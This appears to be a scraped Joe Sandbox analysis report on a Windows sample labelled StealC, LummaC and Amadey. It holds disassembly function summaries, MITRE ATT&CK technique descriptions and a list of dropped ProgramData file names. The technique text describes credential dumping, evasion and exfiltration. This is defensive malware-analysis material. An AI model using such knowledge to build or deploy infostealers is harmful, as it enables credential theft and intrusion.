Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: db8ea4d9fe78ec3397bdd0de8f521ceae89891a4b3119149513f44145b856bef
Instruction ID: 86a14d6c1b00ad47588512d7a9964f8b28f3a7fd2e9f82cba2d3e0e0e93a4a97
Opcode Fuzzy Hash: db8ea4d9fe78ec3397bdd0de8f521ceae89891a4b3119149513f44145b856bef
Instruction Fuzzy Hash: EEF0CDB1600241CBDB00CF1CDC45FA533B1B75730AFA20B5AC6040BBC0D7766556CA8A

Function 6C4E6C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0KQl,?,6C514B30,80000000,?,6C514AB7,?,6C4D43CF,?,6C4D42D2), ref: 6C4E6C42

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

moz_xmalloc.MOZGLUE(0KQl,?,6C514B30,80000000,?,6C514AB7,?,6C4D43CF,?,6C4D42D2), ref: 6C4E6C58

Strings

0KQl, xrefs: 6C4E6C33, 6C4E6C41, 6C4E6C57

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: moz_xmalloc$malloc
String ID: 0KQl
API String ID: 1967447596-1241777402
Opcode ID: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction ID: 145d31365f3da9ce35ebdf53f3543a5316c51c8f5016d12c6c0975a754a49612
Opcode Fuzzy Hash: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction Fuzzy Hash: 79E086F1A105094A9B08D978AC09EAE75C88B1C6EBF054A39ED32C6BCCFA54E5508191

Function 6C4E3850 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C55F860), ref: 6C4E385C
ReleaseSRWLockExclusive.KERNEL32(6C55F860,?), ref: 6C4E3871

Strings

,Ul, xrefs: 6C4E387A

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease
String ID: ,Ul
API String ID: 17069307-1618445069
Opcode ID: 8ac4d57e22e0f2720da72b750eb244a0140bf5c6df149d799a08d9304486b965
Instruction ID: 09c46996bbe26b622125b5fdf1b8dd74b1854bde4e409cacc94cc2e67fc32591
Opcode Fuzzy Hash: 8ac4d57e22e0f2720da72b750eb244a0140bf5c6df149d799a08d9304486b965
Instruction Fuzzy Hash: 41E0DF31A01A18978702EF968C05E8A3BF8FE0B692387460AF40A17A10C770908086C9

Function 6C4EBED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C4EBEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C4EBEF5

Strings

cryptbase.dll, xrefs: 6C4EBEF0

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: c63f1e60d0eb6c1ab159dbc6426ad098336388c2da16368e0bb4c5e77cb4a503
Instruction ID: 0efbcbc08a36cd18eaed226ca7dab779dc785973330b0663f0bc492ab3a7f82b
Opcode Fuzzy Hash: c63f1e60d0eb6c1ab159dbc6426ad098336388c2da16368e0bb4c5e77cb4a503
Instruction Fuzzy Hash: E0D0C932384208EADA40BAA48D0AF2A7BB8A706726F95C021F75594951C7B1A465CB99

Function 6C52B5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C52B2C9,?,?,?,6C52B127,?,?,?,?,?,?,?,?,?,6C52AE52), ref: 6C52B628

Part of subcall function 6C5290E0: free.MOZGLUE(?,00000000,?,?,6C52DEDB), ref: 6C5290FF
Part of subcall function 6C5290E0: free.MOZGLUE(?,00000000,?,?,6C52DEDB), ref: 6C529108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C52B2C9,?,?,?,6C52B127,?,?,?,?,?,?,?,?,?,6C52AE52), ref: 6C52B67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C52B2C9,?,?,?,6C52B127,?,?,?,?,?,?,?,?,?,6C52AE52), ref: 6C52B708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C52B127,?,?,?,?,?,?,?,?), ref: 6C52B74D

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: ce87aeb4c88087a0a1e7e835b8f0f9eeb99ad7b524940330c7aebb02de488f50
Instruction ID: cfeb1dcc988241cf53f7f4a5c3aa03ac31eeda2e8d97e0ac9bf95c68d6f8fa6a
Opcode Fuzzy Hash: ce87aeb4c88087a0a1e7e835b8f0f9eeb99ad7b524940330c7aebb02de488f50
Instruction Fuzzy Hash: B651BF71A052168BDB14DF18CD80A5EB7F5FF85304F59852DC89BABB90D735B804CBA1

Function 6C52DF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C51FF2A), ref: 6C52DFFD

Part of subcall function 6C5290E0: free.MOZGLUE(?,00000000,?,?,6C52DEDB), ref: 6C5290FF
Part of subcall function 6C5290E0: free.MOZGLUE(?,00000000,?,?,6C52DEDB), ref: 6C529108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C51FF2A), ref: 6C52E04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C51FF2A), ref: 6C52E0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6C51FF2A), ref: 6C52E0FE

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 8995fd48f32858667efa147516aeca0f590fbd32a56298b012e3a6a71decc25c
Instruction ID: 65c748509f3959cd85c798a4f6e2337cca79eb85b14a6879449f3f2835d9f435
Opcode Fuzzy Hash: 8995fd48f32858667efa147516aeca0f590fbd32a56298b012e3a6a71decc25c
Instruction Fuzzy Hash: 7741CFB16042068FEB14CF78CC8076AB3F2BB45309F154939D516DBB80E7B6E906CB92

Function 6C526E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C526EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C526EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C526F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C526F5C

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 82d5114acf824bdd3b272a1aa72f803513b408637849fdc14e9e00eb0c9b5a3f
Instruction ID: 6f0616922bf985cbdaef5760aa0a2ec8f1e2adce547093519c776bc23b650702
Opcode Fuzzy Hash: 82d5114acf824bdd3b272a1aa72f803513b408637849fdc14e9e00eb0c9b5a3f
Instruction Fuzzy Hash: 2C31F671A1060A8FDB14CF2CCD806AE73E9EB84304F50853DD41AD7AA5EF35EA59C791

Function 6C53B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C4E0A4D), ref: 6C53B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C4E0A4D), ref: 6C53B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C4E0A4D), ref: 6C53B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C4E0A4D), ref: 6C53B67F

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 344287b2f1a1d5c2d77d2c7f016a2d3dd59e2386d13525123740dd79a4377a22
Instruction ID: 5c98e569e2e331a3438c36cea54544853a20fa7e46cb472cad7acd8b390049fc
Opcode Fuzzy Hash: 344287b2f1a1d5c2d77d2c7f016a2d3dd59e2386d13525123740dd79a4377a22
Instruction Fuzzy Hash: 4431E371A016268FDB10DF58CC4465ABBB5EF84314F5A8A29C80A9B712FB31E915CBA0

Function 6C50F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C50F611
memcpy.VCRUNTIME140(?,?,?), ref: 6C50F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C50F652
memcpy.VCRUNTIME140(?,?,?), ref: 6C50F668

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 7f375c52c7bad776a1a447baf0edb01f9523413923cff892bafb91127bb4ef9b
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 8D311E71B00614AFC724CF59DCC0A9E77B6EBC4358B148A39EA498BB05D771F9448B98

Function 6C5226B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5226C1
free.MOZGLUE(?), ref: 6C5226E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5226FF
free.MOZGLUE ref: 6C52270D

Memory Dump Source

Source File: 00000000.00000002.2682876982.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2682831487.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683113208.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683216894.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2683265667.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: f2cb81af0d1950b52046b5b170ae32a7688187ceba54736e80ca1a0f160b6b27
Instruction ID: ae8a7cc03fc913955dccf943857efba5ade15b964008dcf5c2329b9a17e67816
Opcode Fuzzy Hash: f2cb81af0d1950b52046b5b170ae32a7688187ceba54736e80ca1a0f160b6b27
Instruction Fuzzy Hash: C1F0F4B77012005BE7009B18DC88E4BB3E9EF45368B550035EA1AC3B02E736F919C6A6

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\BAFCGIJDAFBKFIECBGCA

C:\ProgramData\CBAEHCAEGDHJKFHJKFIJKJEGHI

C:\ProgramData\DBKKKEHD

C:\ProgramData\EHDGCGIDAKEBKECAFIEHCAKKKJ

C:\ProgramData\FCBAEHCAEGDHJKFHJKFI

C:\ProgramData\IJJJKEGHJKFHJKFHDHCF

C:\ProgramData\KJJJKFII

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

